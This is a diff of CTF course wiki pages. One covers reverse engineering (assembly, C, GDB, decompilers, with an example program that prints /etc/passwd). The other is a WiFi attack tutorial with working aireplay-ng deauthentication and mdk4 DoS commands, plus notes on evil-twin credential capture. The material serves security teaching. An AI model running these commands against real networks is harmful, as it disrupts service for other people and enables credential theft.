+#include <stdlib.h>
+
+int main() {
+    char c;
+    int fd = syscall(2, "/etc/passwd", 0);
+    while (syscall(0, fd, &c, 1)) {
+        putchar(c);
+    }
+}
+
+

We can see the compilation results in some verbose instrucitons for the CPU:

+
.LC0:
+  .string "/etc/passwd"
+main:
+  push rbp
+  mov rbp, rsp
+  sub rsp, 16
+  mov edx, 0
+  mov esi, OFFSET FLAT:.LC0
+  mov edi, 2
+  mov eax, 0
+  call syscall
+  mov DWORD PTR [rbp-4], eax
+.L3:
+  lea rdx, [rbp-5]
+  mov eax, DWORD PTR [rbp-4]
+  mov ecx, 1
+  mov esi, eax
+  mov edi, 0
+  mov eax, 0
+  call syscall
+  test rax, rax
+  setne al
+  test al, al
+  je .L2
+  movzx eax, BYTE PTR [rbp-5]
+  movsx eax, al
+  mov edi, eax
+  call putchar
+  jmp .L3
+.L2:
+  mov eax, 0
+  leave
+  ret
+
+

This is a one way process for compiled languages as there is no way to generate source from machine code. While the machine code may seem unintelligble, the extremely basic functions can be interpreted with some practice.

+

x86-64

+

x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32-bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of diferent things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means diferent instructions can be diferent sizes ranging from 1 to 16 bytes long. And finally x86-64 allows for multi-sized register access which means that you can access certain parts of a register which are diferent sizes.

+

x86-64 Registers

+

x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access which means the register RAX can have its lower 32 bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL which allows for the compuler to make optimizations which boost program execution. Multi-access Register

+

x86-64 has plenty of registers to use including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.

+

The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer

+

Instructions

+

An instruction represents a single operation for the CPU to perform.

+

There are diferent types of instructions including:

+
    +
  • Data movement: mov rax, [rsp - 0x40]
  • +
  • Arithmetic: add rbx, rcx
  • +
  • Control-flow: jne 0x8000400
  • +
+

Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)

+

It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.

+

Note

+

Instructions, numbers, strings, everything! Always represented in hex.

+
add rax, rbx
+mov rax, 0xdeadbeef
+mov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de
+"Hello" == 48 65 6c 6c 6f
+== 48 01 d8
+== 48 c7 c0 ef be ad de
+
+

Execution

+

What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, run it.

+

Examples

+

mov rax, 0xdeadbeef

+

Here the operation mov is moving the "immeadiate" 0xdeadbeef into the register RAX

+

mov rax, [0xdeadbeef + rbx * 4]

+

Here the operation mov is moving the data at the address of [0xdeadbeef + RBX*4] into the register RAX. When brackets are used, you can think of the program as getting the content from that effective address.

+

Example Execution

+
-> 0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804000
+   0x080400a: add, rax, rbx                  RAX = 0x0
+   0x080400d: inc rbx                        RBX = 0x0
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+-> 0x0804005: mov ebx, 0x1234                RIP = 0x0804005
+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeef
+   0x080400d: inc rbx                        RBX = 0x0
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x080400a
+-> 0x080400a: add, rax, rbx                  RAX = 0xdeadbeef
+   0x080400d: inc rbx                        RBX = 0x1234
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x080400d
+   0x080400a: add, rax, rbx                  RAX = 0xdeadd123
+-> 0x080400d: inc rbx                        RBX = 0x1234
+   0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804010
+   0x080400a: add, rax, rbx                  RAX = 0xdeadd123
+   0x080400d: inc rbx                        RBX = 0x1235
+-> 0x0804010: sub rax, rbx                   RCX = 0x0
+   0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804013
+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeee
+   0x080400d: inc rbx                        RBX = 0x1235
+   0x0804010: sub rax, rbx                   RCX = 0x0
+-> 0x0804013: mov rcx, rax                   RDX = 0x0
+   0x0804000: mov eax, 0xdeadbeef            Register Values:
+   0x0804005: mov ebx, 0x1234                RIP = 0x0804005
+   0x080400a: add, rax, rbx                  RAX = 0xdeadbeee
+   0x080400d: inc rbx                        RBX = 0x1235
+   0x0804010: sub rax, rbx                   RCX = 0xdeadbeee
+   0x0804013: mov rcx, rax                   RDX = 0x0
+
+

Control Flow

+

How can we express conditionals in x86-64? We use conditional jumps such as:

+
    +
  • jnz <address>
  • +
  • je <address>
  • +
  • jge <address>
  • +
  • jle <address>
  • +
  • etc.
  • +
+

They jump if their condition is true, and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers which store flags on certain instructions such as add rax, rbx which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo instruction. The most important thing to remember is the cmp instruction:

+
cmp rax, rbx
+jle error
+
+

This assembly jumps if RAX <= RBX

+

Addresses

+

Memory acts similarly to a big array where the indices of this "array" are memory addresses. Remember from earlier:

+
mov rax, [0xdeadbeef]
+
+

The square brackets mean "get the data at this address". This is analagous to the C/C++ syntax: rax = *0xdeadbeef;

+

The C Programming Language

+

History

+

The C programming language iwas written by Dennis Ritchie in the 1970s while he was working at Bell Labs. It was first used to reimplement the Unix operating system which was purely written in assembly language. At first, the Unix developers were considering using a language called "B" but because B wasn't optimized for the target computer, the C language was created.

+

C is the letter and the programming language after B!

+

C was designed to be close to assembly and is still widely used in lower level programming where speed and control are needed (operating systems, embedded systems). C was also very influential to other programming langauges used today. Notable languages include C++, Objective-C, Golang, Java, JavaScript, PHP, Python, and Rust.

+

Hello World

+

C is an ancestor of many other programming languages and if you are familiar with programming, it's likely that C will be at least someewhat familiar.

+
#include <stdio.h>
+int main()
+{
+   printf("Hello, World!");
+   return 0;
+}
+
+

Today

+

Today C is widely used either as a low level programming langauge or is the base language that other programming languages are implemented in.

+

While it can be difficult to see, the C language compiles down directly into machine code. The compiler is programmed to process the provided C code and emit assembly that's targetted to whatever operating system and architecture the compiler is set to use.

+

Some common compilers include:

+
    +
  • gcc
  • +
  • clang
  • +
+

A good way to explore this relationship is to use this online GCC Explorer from Matt Godbolt.

+

GCC Explorer

+

In regards to CTF, many reverse engineering and exploitation CTF challenges are written in C because the language compiles down directly to assembly and there are little to no safeguards in the language. This means developers must manually handle both. Of course, this can lead to mistakes which can sometimes lead to security issues.

+

Other higher level langauges like Python manage memory and garbage collection for you. Google Golang was inspired by C but adds in functionality like garbage collection, and memory safety.

+

There are some examples of famously vulnerable functions in C which are still available and can still result in vulnerabilities:

+
    +
  • gets - Can result in buffer overflows
  • +
  • strcpy - Can result in buffer overflows
  • +
  • strcat - Can result in buffer overflows
  • +
  • strcmp - Can result in timing attacks
  • +
+

Types

+

C has four basic types:

+
    +
  • char - characters
  • +
  • int - integers (e.g. 125)
  • +
  • float - 32 bit floating point number (e.g. 2.4)
  • +
  • double - 64 bit floating point number (like a float but more precise in terms of decimal points)
  • +
+

Pointers

+

C uses an idea known as pointers. A pointer is a variable which contains the address of another variable.

+

To understand this idea we should first understand that memory is laid out in terms of addresses and data gets stored at these addresses.

+

Take the following example of defining an integer in C:

+
int x = 4;
+
+

To the programmer this is the variable x receiving the value of 4. The computer stores this value in some location in memory. For example we can say that address 0x1000 now holds the value 4. The computer knows to directly access the memory and retrieve the value 4 whenever the programmer tries to use the x variable. If we were to say x + 4, the computer would give you 8 instead of 0x1004.

+

But in C we can retrieve the memory address being used to hold the 4 value (i.e. 0x1000) by using the & character and using * to create an "integer pointer" type.

+
int* y = &x;
+
+

The y variable will store the address pointed to by the xvariable (0x1000).

+

The * character allows us to declare pointer variables but also allows us to access the value stored at a pointer. For example, entering *y allows us to access the 4 value instead of 0x1000.

+

Whenever we use the y variable we are using the memory address, but if we use the x variable we use the value stored at the memory address.

+

Arrays

+

Arrays are a grouping of objects of the same type. They are typically created with the following syntax:

+
type arrayName [ arraySize ];
+
+

To initialize values in the array we can do:

+
int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
+
+

Arrays allow programmers to group data into logical containers.

+

To access the indiviual elements of an array we access the contents by their "index". Most programming langauges today start counting from 0. So to take our previous example:

+
int integers[ 10 ] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
+/*     indexes        0  1  2  3  4  5  6  7  8   9
+
+

To access the value 6 we would use index 5:

+
integers[5];
+
+

How do arrays work?

+

Arrays are a clever combination of multiplication, pointers, and programming.

+

Because the computer knows the data type used for every element in the array, the computer needs to simply multiply the size of the data type by the index you are looking for and then add this value to the address of the beginning of the array.

+

For example if we know that the base address of an array is 1000 and we know that each integer takes 8 bytes, we know that if we have 8 integers right next to each other, we can get the integer at the 4th index with the following math:

+
1000 + (4 * 8) =  1032
+array [ 1   , 2   , 3   , 4   , 5   , 6   , 7   , 8   ]
+index   0     1     2     3     4     5     6     7
+addrs  1000  1008  1016  1024  1032  1040  1048  1056
+
+

Disassemblers

+

A disassembler is a tool which breaks down a compiled program into machine code.

+

List of Disassemblers

+
    +
  • IDA
  • +
  • Binary Ninja
  • +
  • GNU Debugger (GDB)
  • +
  • radare2
  • +
  • Hopper
  • +
+

IDA

+

The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling "virtually any popular file format". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry leading Hex Rays decompiler which can convert assembly code back into a pseudo code like format.

+

IDA

+

IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:

+
    +
  • https://github.com/google/binnavi
  • +
  • https://github.com/yegord/snowman
  • +
  • https://github.com/gaasedelen/lighthouse
  • +
  • https://github.com/joxeankoret/diaphora
  • +
  • https://github.com/REhints/HexRaysCodeXplorer
  • +
  • https://github.com/osirislab/Fentanyl
  • +
+

Binary Ninja

+

Binary Ninja is an up and coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.

+

Binja

+

Binja also has some community contributed plugins which are collected here: https://github.com/Vector35/community-plugins

+

gdb

+

The GNU Debugger is a free and open source debugger which also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabailities.

+

gdb is often used in tandom with enhancement scripts like peda, pwndbg, and GEF

+

GDB

+

The GNU Debugger (GDB)

+

The GNU Debugger or GDB is a powerful debugger which allows for step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.

+

Vanilla GDB

+

GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.

+

Starting GDB

+

To execute GBD and attach it to a program simply run gdb [program]

+

Disassembly

+

(gdb) disassemble [address/symbol] will display the disassembly for that function/frame

+

GDB will autocomplete functions, so saying (gdb) disas main suffices if you'd like to see the disassembly of main

+

View Disassembly During Execution

+

Another handy thing to see while stepping through a program is the disassembly of nearby instructions:

+
(gdb) display/[# of instructions]i $pc [± offset]
+
+
    +
  • display shows data with each step
  • +
  • /[#]i shows how much data in the format i for instruction
  • +
  • $pc means the pc, program counter, register
  • +
  • [± offset] allows you to specify how you would like the data offset from the current instruction
  • +
+

Example Usage

+
(gdb) display/10i $pc - 0x5
+
+

This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:

+
   0x8048535 <main+6>:  lock pushl -0x4(%ecx)
+   0x8048539 <main+10>: push   %ebp
+=> 0x804853a <main+11>: mov    %esp,%ebp
+   0x804853c <main+13>: push   %ecx
+   0x804853d <main+14>: sub    $0x14,%esp
+   0x8048540 <main+17>: sub    $0xc,%esp
+   0x8048543 <main+20>: push   $0x400
+   0x8048548 <main+25>: call   0x80483a0 <malloc@plt>
+   0x804854d <main+30>: add    $0x10,%esp
+   0x8048550 <main+33>: sub    $0xc,%esp
+
+

Deleting Views

+

If for whatever reason, a view no long suits your needs simply call (gdb) info display which will give you a list of active displays:

+
Auto-display expressions now in effect:
+Num Enb Expression
+1:   y  /10bi $pc-0x5
+
+

Then simply execute (gdb) delete display 1 and your execution will resume without the display.

+

Registers

+

In order to view the state of registers with vanilla gdb, you need to run the command info registers which will display the state of all the registers:

+
eax            0xf77a6ddc   -142971428
+ecx            0xffe06b10   -2069744
+edx            0xffe06b34   -2069708
+ebx            0x0  0
+esp            0xffe06af8   0xffe06af8
+ebp            0x0  0x0
+esi            0xf77a5000   -142979072
+edi            0xf77a5000   -142979072
+eip            0x804853a    0x804853a <main+11>
+eflags         0x286    [ PF SF IF ]
+cs             0x23 35
+ss             0x2b 43
+ds             0x2b 43
+es             0x2b 43
+fs             0x0  0
+gs             0x63 99
+
+

If you simply would like to see the contents of a single register, the notation x/x $[register] where:

+
    +
  • x/x means display the address in hex notation
  • +
  • $[register] is the register code such as eax, rax, etc.
  • +
+

Pwndbg

+

These commands work with vanilla gdb as well.

+

Setting Breakpoints

+

Setting breakpoints in GDB uses the format b*[Address/Symbol]

+

Example Usage

+
    +
  • (gdb) b*main: Break at the start
  • +
  • (gdb) b*0x804854d: Break at 0x804854d
  • +
  • (gdb) b*0x804854d-0x100: Break at 0x804844d
  • +
+

Deleting Breakpoints

+

As before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints (don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:

+
Num     Type           Disp Enb Address    What
+1       breakpoint     keep y   0x0804852f <main>
+3       breakpoint     keep y   0x0804864d <__libc_csu_init+61>
+
+

Then simply execute (gdb) delete 1

+

Note

+

GDB creates breakpoints chronologically and does NOT reuse numbers.

+

Stepping

+

What good is a debugger if you can't control where you are going? In order to begin execution of a program, use the command r [arguments] similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]. In this case the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.

+
    +
  • (gdb) continue [# of breakpoints]: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c)
  • +
  • (gdb) step[# of instructions]: Steps into an instruction the specified number of times, default is 1 (shorthand s)
  • +
  • (gdb) next instruction [# of instructions]: Steps over an instruction meaning it will not delve into called functions (shorthand ni)
  • +
  • (gdb) finish: Finishes a function and breaks after it gets returned (shorthand fin)
  • +
+

Examining

+

Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.

+
(gdb) x/[#][size][format] [Address/Symbol/Register][± offset]
+
+
    +
  • x/ means examine
  • +
  • [#] means how much
  • +
  • [size] means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)
  • +
  • [format] means how the data should be interpreted such as an instruction i, a string s, hex bytes x
  • +
  • [Address/Symbol][± offset] means where to start interpreting the data
  • +
+

Example Usage

+
    +
  • (gdb) x/x $rax: Displays the content of the register RAX as hex bytes
  • +
  • (gdb) x/i 0xdeadbeef: Displays the instruction at address 0xdeadbeef
  • +
  • (gdb) x/10s 0x893e10: Displays 10 strings at the address
  • +
  • (gdb) x/10gx 0x7fe10: Displays 10 giant words as hex at the address
  • +
+

Forking

+

If the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]

+

Setting Data

+

If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]

+

Example Usage

+
    +
  • set $rax=0x0: Sets the register rax to 0
  • +
  • set 0x1e4a70=0x123: Sets the data at 0x1e4a70 to 0x123
  • +
+

Process Mapping

+

A handy way to find the process's mapped address spaces is to use info proc map:

+
Mapped address spaces:
+
+    Start Addr   End Addr       Size     Offset objfile
+     0x8048000  0x8049000     0x1000        0x0 /directory/program
+     0x8049000  0x804a000     0x1000        0x0 /directory/program
+     0x804a000  0x804b000     0x1000     0x1000 /directory/program
+    0xf75cb000 0xf75cc000     0x1000        0x0
+    0xf75cc000 0xf7779000   0x1ad000        0x0 /lib32/libc-2.23.so
+    0xf7779000 0xf777b000     0x2000   0x1ac000 /lib32/libc-2.23.so
+    0xf777b000 0xf777c000     0x1000   0x1ae000 /lib32/libc-2.23.so
+    0xf777c000 0xf7780000     0x4000        0x0
+    0xf778b000 0xf778d000     0x2000        0x0 [vvar]
+    0xf778d000 0xf778f000     0x2000        0x0 [vdso]
+    0xf778f000 0xf77b1000    0x22000        0x0 /lib32/ld-2.23.so
+    0xf77b1000 0xf77b2000     0x1000        0x0
+    0xf77b2000 0xf77b3000     0x1000    0x22000 /lib32/ld-2.23.so
+    0xf77b3000 0xf77b4000     0x1000    0x23000 /lib32/ld-2.23.so
+    0xffc59000 0xffc7a000    0x21000        0x0 [stack]
+
+

This will show you where the stack, heap (if there is one), and libc are located.

+

Attaching Processes

+

Another useful feature of GDB is to attach to processes which are already running. Simply launch gdb using gdb, then find the process id of the program you would like to attach to an execute attach [pid].

+

Decompilers

+

Decompilers do the impossible and reverse compiled code back into psuedocode/code.

+

IDA offers HexRays, which translates machine code into a higher language pseudocode.

+

Hex Rays

+

Example Workflow

+

Let's say we are disassembling a program which has the source code:

+
#include <stdio.h>
+
+void printSpacer(int num){
+    for(int i = 0; i < num; ++i){
+        printf("-");
+    }
+    printf("\n");
+}
+
+int main()
+{
+    char* string = "Hello, World!";
+    for(int i = 0; i < 13; ++i){
+        printf("%c", string[i]);
+        for(int j = i+1; j < 13; j++){
+            printf("%c", string[j]);
+        }
+        printf("\n");
+        printSpacer(13 - i);
+    }
+    return 0;
+}
+
+

And creates an output of:

+
Hello, World!
+-------------
+ello, World!
+------------
+llo, World!
+-----------
+lo, World!
+----------
+o, World!
+---------
+, World!
+--------
+ World!
+-------
+World!
+------
+orld!
+-----
+rld!
+----
+ld!
+---
+d!
+--
+!
+-
+
+

If we are given a binary compiled from that source and we want to figure out how the source looks, we can use a decompiler to get c pseudocode which we can then use to reconstruct the function. The sample decompilation can look like:

+
printSpacer:
+int __fastcall printSpacer(int a1)
+{
+  int i; // [rsp+8h] [rbp-8h]
+
+  for ( i = 0; i < a1; ++i )
+    printf("-");
+  return printf("\n");
+}
+
+main:
+int __cdecl main(int argc, const char **argv, const char **envp)
+{
+  int v4; // [rsp+18h] [rbp-18h]
+  signed int i; // [rsp+1Ch] [rbp-14h]
+
+  for ( i = 0; i < 13; ++i )
+  {
+    v4 = i + 1;
+    printf("%c", (unsigned int)aHelloWorld[i], envp);
+    while ( v4 < 13 )
+      printf("%c", (unsigned int)aHelloWorld[v4++]);
+    printf("\n");
+    printSpacer(13 - i);
+  }
+  return 0;
+}
+
+

A good method of getting a good representation of the source is to convert the decompilation into Python since Python is basically psuedocode that runs. Starting with main often allows you to gain a good overview of what the program is doing and will help you translate the other functions.

+

Main

+

We know we will start with a main function and some variables, if you trace the execution of the variables, you can oftentimes determine the variable type. Because i is being used as an index, we know its an int, and because v4 used as one later on, it too is an index. We can also see that we have a variable aHelloWorld being printed with "%c", we can determine it represents the 'Hello, World!' string. Lets define all these variables in our Python main function:

+
def main():
+    string = "Hello, World!"
+    i = 0
+    v4 = 0
+    for i in range(0, 13):
+        v4 = i + 1
+        print(string[i], end='')
+        while v4 < 13:
+            print(string[v4], end='')
+            v4 += 1
+        print()
+        printSpacer(13-i)
+
+

printSpacer Function

+

Now we can see that printSpacer is clearly being fed an int value. Translating it into python shouldn't be too hard.

+
def printSpacer(number):
+    i = 0
+    for i in range(0, number):
+        print("-", end='')
+    print()
+
+

Results

+

Running main() gives us:

+
Hello, World!
+-------------
+ello, World!
+------------
+llo, World!
+-----------
+lo, World!
+----------
+o, World!
+---------
+, World!
+--------
+ World!
+-------
+World!
+------
+orld!
+-----
+rld!
+----
+ld!
+---
+d!
+--
+!
+-
+
+

Exercise

+

(4 pt) De-Android

+

Android source code is easy to de-compile. Rather than reading assembly codes from the beginning, why not try some java first?

+

Try to reverse this Android apk file and find flag in it.

+

Flag format: CTFlearn{******}

+

flag.apk

+

Hint1: if you really have difficult to reverse Android, I would recommend you to try jadx.

+

Hint2: md5 is old and not safe. So many methods can help you to crack md5.

+

(4 pt) Touhou Players Win Twice

+

I heard that some SUSTCers are really good at playing Touhou Project (東方project) Games. As a kind of STG game, Touhou Project is very difficult and not friendly for beginners.

+

Some one sent me this game and challenged me: if you can pass all 6 levels in Lunatic difficulty, you can have the flag.

+

img

+

Each time you finish a level in Lunatic difficulty, one part of flag is given to flag.txt under the game directory. I have several ideas for you to break this game:

+
    +
  1. As a real touhou player, you can play this game until you finish all levels.
  2. +
  3. As a reverse engineer, you may observe the assembly codes and find how flag is given after each level.
  4. +
  5. As a game trainer developer, you also can write a cheat for this game.
  6. +
  7. As a social engineer, you can convince CS315's professor and TAs to tell you the flag.
  8. +
+

Good luck!

+

https://mega.nz/file/KtNkiZga#juXA-LhgguC8De76CTYnHjPaObvlNcyjyEDXjhkSDCs

+

(2 pt) javaisez3

+

3rd round of your local Java rev! Note: This requires Java 11 and above to run.

+

javaisez3.jar

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 7/index.html b/CS315/2021/Week 7/index.html new file mode 100644 index 000000000..50cb52762 --- /dev/null +++ b/CS315/2021/Week 7/index.html @@ -0,0 +1,9830 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week7 WLAN: Attacking WiFi - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week7 WLAN: Attacking WiFi

+

According to @Hacktricks: https://book.hacktricks.xyz/

+

Wifi basic commands

+
ip link show #List available interfaces
+iwconfig #List available interfaces
+airmon-ng check kill #Kill annoying processes
+airmon-ng start wlan0 #Monitor mode
+airmon-ng stop wlan0mon #Managed mode
+airodump-ng wlan0mon #Scan (default 2.4Ghz)
+airodump-ng wlan0mon --band a #Scan 5Ghz
+iwconfig wlan0 mode monitor #Put in mode monitor
+iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
+iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
+
+

Tools

+

EAPHammer

+
git clone https://github.com/s0lst1c3/eaphammer.git
+./kali-setup
+
+

Airgeddon

+
mv `which dhcpd` `which dhcpd`.old
+apt install isc-dhcp-server
+apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
+
+

Run airgeddon with docker

+
docker run \
+          --rm \
+          -ti \
+          --name airgeddon \
+          --net=host \
+          --privileged \
+          -p 3000:3000 \
+          -v /tmp:/io \
+          -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
+          v1s1t0r1sh3r3/airgeddon
+
+

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

+

Resume attacks

+
    +
  • DoS
  • +
  • Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client)
  • +
  • Random fake APs -- Hide nets, possible crash scanners)
  • +
  • Overload AP -- Try to kill the AP (usually not very useful)
  • +
  • WIDS -- Play with the IDS
  • +
  • TKIP, EAPOL -- Some specific attacks to DoS some APs
  • +
  • Cracking
  • +
  • Crack WEP (several tools and methods)
  • +
  • WPA-PSK
      +
    • WPS pin "Brute-Force"
    • +
    • WPA PMKID bruteforce
    • +
    • [DoS +] WPA handshake capture + Cracking
    • +
    +
  • +
  • WPA-MGT
      +
    • Username capture
    • +
    • Bruteforce Credentials
    • +
    +
  • +
  • Evil Twin (with or without DoS)
  • +
  • Open Evil Twin [+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks
  • +
  • WPA-PSK Evil Twin -- Useful to network attacks if you know the password
  • +
  • WPA-MGT -- Useful to capture company credentials
  • +
  • MANA, Loud MANA, Known beacon
  • +
  • + Open -- Useful to capture captive portal creds and/or perform LAN attacks
  • +
  • + WPA -- Useful to capture WPA handshakes
  • +
+

DOS

+

Deauthentication Packets

+

The most common way this sort of attack is done is with deauthentication packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to hacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.

+

Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network. Description from here.

+

Deauthentication using Aireplay-ng

+
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
+
+
    +
  • -0 means deauthentication
  • +
  • 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
  • +
  • -a 00:14:6C:7E:40:80 is the MAC address of the access point
  • +
  • -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work)
  • +
  • ath0 is the interface name
  • +
+

Disassociation Packets

+

Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.

+

An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.

+

Description from here.

+

This attack can be performed by mdk4(mode "d"):

+
# -c <channel>
+# -b victim_client_mac.txt contains the MAC address of the device to eliminate
+# -e WifiName is the name of the wifi
+# -B BSSID is the BSSID of the AP
+# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them 
+mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
+
+

More DOS attacks by mdk4

+

From here.

+

ATTACK MODE b: Beacon Flooding

+

Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers!

+
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
+# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
+# -m use real BSSIDS
+# All the parameters are optional and you could load ESSIDs from a file
+mdk4 wlan0mon b -a -w nta -m
+
+

ATTACK MODE a: Authentication Denial-Of-Service

+

Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs.

+
# -a BSSID send random data from random clients to try the DoS
+# -i BSSID capture and repeat pakets from authenticated clients
+# -m use real MACs
+# only -a or -i can be used
+mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
+
+

ATTACK MODE p: SSID Probing and Bruteforcing

+

Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available.

+

ATTACK MODE m: Michael Countermeasures Exploitation

+

Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS.

+
# -t <BSSID> of a TKIP AP
+# -j use inteligent replay to create the DoS
+mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
+
+

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

+

Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.

+
# Use Logoff messages to kick clients
+mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
+
+

ATTACK MODE s: Attacks for IEEE 802.11s mesh networks

+

Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic!

+

ATTACK MODE w: WIDS Confusion

+

Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.

+
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
+mkd4 -e <SSID> -c <channel> [-z]
+
+

ATTACK MODE f: Packet Fuzzer

+

A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!

+

Airggedon

+

Airgeddon offers most of the attacks proposed in the previous comments:

+

img

+

WPS

+

